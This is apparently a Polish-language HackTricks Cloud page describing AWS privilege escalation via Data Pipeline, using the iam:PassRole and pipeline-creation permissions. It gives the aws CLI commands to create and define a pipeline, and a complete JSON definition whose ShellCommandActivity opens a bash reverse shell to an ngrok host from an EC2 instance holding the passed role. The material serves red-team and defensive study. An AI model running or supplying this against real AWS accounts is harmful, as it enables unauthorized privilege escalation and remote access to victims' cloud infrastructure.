AWS - Datapipeline Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
datapipeline
Więcej informacji o datapipeline znajdziesz:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Użytkownicy posiadający te uprawnienia mogą eskalować przywileje poprzez utworzenie Data Pipeline, aby wykonać dowolne polecenia używając uprawnień przypisanej roli:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Po utworzeniu pipeline’a atakujący aktualizuje jego definicję, aby narzucić konkretne działania lub tworzenie zasobów:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Zwróć uwagę, że role w linii 14, 15 i 27 musi być assumable by datapipeline.amazonaws.com, a role w linii 28 musi być assumable by ec2.amazonaws.com with a EC2 profile instance.
Ponadto instancja EC2 będzie miała dostęp tylko do role, którą może przejąć ta instancja EC2 (więc możesz ukraść tylko tę).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
The Plik definicji potoku, przygotowany przez atakującego, zawiera dyrektywy do wykonywania poleceń lub tworzenia zasobów za pomocą AWS API, wykorzystując uprawnienia roli Data Pipeline, co może pozwolić na uzyskanie dodatkowych uprawnień.
Potencjalny wpływ: Bezpośrednie privesc do określonej roli serwisowej ec2.
References
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

